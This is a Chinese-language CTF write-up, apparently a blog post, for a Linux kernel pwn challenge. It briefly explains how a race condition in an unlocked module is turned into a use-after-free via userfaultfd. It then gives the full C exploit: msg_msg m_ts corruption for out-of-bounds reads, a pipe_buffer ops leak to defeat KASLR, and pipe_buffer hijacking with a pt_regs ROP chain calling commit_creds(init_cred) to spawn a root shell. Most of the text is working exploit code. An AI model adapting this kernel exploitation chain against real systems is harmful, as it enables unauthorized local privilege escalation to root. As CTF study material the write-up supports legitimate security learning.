这周在疯狂学kernel pwn。
记录一下这题,race conditon+msg_msg+pipe_buffer,kaslr+smep+smap+kpti。
漏洞很简单,所有操作都没加锁,就是race condition了。edit什么的都只能2次。
很明显了,一次泄露基址,一次劫持控制流。
这种板子就是UAF,在edit中copy_from_user的时候释放,然后再分配相同cache的结构体,就能篡改那个结构体了。题目中的是kmalloc-1k。很明显了,用UAF修改msg_msg的m_ts字段来越界读。
看一下slub的情况,没有开random_freelist。而且我们分配的object就在第一个,很整齐啊。这就想到了同样为kmalloc-1k的pipe buffer,可以越界读pipe buffer的op表,这是个全局变量,读出这个就能根据偏移计算出kbase了。
现在开始考虑怎么劫持控制流来提权。很明显也只能是pipe_buffer,第二次UAF篡改pipe_buffer的op表,现在问题来了。由于开启了smap,我们不能在用户空间伪造op表了,只能在内核空间。我们分配的object都是任由我们写的,看到在这儿伪造。
那么怎么知道object的地址呢?很明显,之前说了,没有看ramdom_freelist,我们可以把msg_msg的m_ts改大一点,顺便泄露下一个object的next指针,就能知道堆的地址啦。
注意,这道题中object的next指针不在0x0的位置,在很里面,最好msg_rcv后全都打印出来,别数了,容易数错。
最后我是打pt_regs来提权的,因为一下子找不到好的gadget来栈迁移,应该要找类似于"mov rsi,rsp",一下子没找到。
以下是代码:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <stdint.h>int pipefd[2];
int hijack[2];
size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;struct list_head {uint64_t next;uint64_t prev;
};struct msg_msg {struct list_head m_list;uint64_t m_type;uint64_t m_ts;uint64_t next;uint64_t security;
};struct msg_msgseg {uint64_t next;
};/*
struct msgbuf {long mtype;char mtext[0];
};
*/int get_msg_queue(void)
{return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}/*** the msgp should be a pointer to the `struct msgbuf`,* and the data should be stored in msgbuf.mtext*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{((struct msgbuf*)msgp)->mtype = msgtyp;return msgsnd(msqid, msgp, msgsz, 0);
}/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{msg->m_list.next = m_list_next;msg->m_list.prev = m_list_prev;msg->m_type = m_type;msg->m_ts = m_ts;msg->next = next;msg->security = security;
}size_t prepare_kernel_cred=NULL;
size_t commit_creds=NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
int fd;void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void getRootPrivilige(void)
{void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;int (*commit_creds_ptr)(void *) = commit_creds;(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void get_shell(){system("/bin/sh");
}struct Node{size_t idx;size_t size;char* buf;
};void del(size_t idx){ioctl(fd,48,&idx);
}void edit(size_t idx,size_t buf,size_t size){struct Node node={idx,size,buf};ioctl(fd,80,&node);
}void add(size_t buf){struct Node node={.size=buf};ioctl(fd,32,&node);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) perror("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char mg[800];
char copy_src[0x1000];
size_t qu=0;void* handler0(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler0");memset(mg,'A',800);pipe(pipefd);write(pipefd[1],"haoqiguai\x00",10);puts("[+] pipe end");qu=get_msg_queue();del(0);write_msg(qu, mg, 800, 1);size_t cpy[5];cpy[0]=0;cpy[1]=0;cpy[2]=1;cpy[3]=3000;cpy[4]=0;memcpy(copy_src,cpy,0x28);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler1");del(0);pipe(hijack);write(hijack[1],"haoqiguai\x00",10);size_t ch[3];ch[0]=0;ch[1]=add_rsp;ch[2]=heap_addr;memcpy(copy_src,ch,0x18);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}char *uffd_buf0, *uffd_buf1;
pthread_t thr0, thr1;int main(){//save_status();bind_core(0);fd=open("/dev/kernelpwn",2);char buf[1024]={0};add(buf);uffd_buf0 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);uffd_buf1 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf0 == MAP_FAILED || uffd_buf1 == MAP_FAILED) err_exit("mmap for uffd");register_userfaultfd(&thr0, uffd_buf0, 0x1000, handler0);register_userfaultfd(&thr1, uffd_buf1, 0x1000, handler1);puts("[+] start to leak kernel base and heap addr");edit(0,uffd_buf0,0x28);size_t leak[250]={0};peek_msg(qu,leak,3000,0); size_t ops=leak[125];int j=0;heap_addr=leak[315];heap_addr-=0x400;printf("heap_adde:%lx\n",heap_addr);printf("pipe_buffer ops:%lx\n",ops); size_t kernel_base=ops-0x203ed80;printf("kernel_base:%lx\n",kernel_base);init_cred=kernel_base+0x2a6b700;commit_creds=kernel_base+0x10c9540;pop_rdi=kernel_base+0x108c420;restore=kernel_base+0x1c00fb0+14;add_rsp=kernel_base+0x10546aa;//add rsp, 0x148; pop r12; pop rbp; ret;add(buf);edit(0,uffd_buf1,0x18);close(hijack[0]);__asm__("mov r15,0xdeadbeef;""mov r14,pop_rdi;""mov r13,init_cred;""mov r12,commit_creds;""mov rbp,restore;");close(hijack[1]);system("/bin/sh");return 0;}
对了,打pt_regs的add rsp的gadget推荐用ropper找,ROPgadget 找不出来。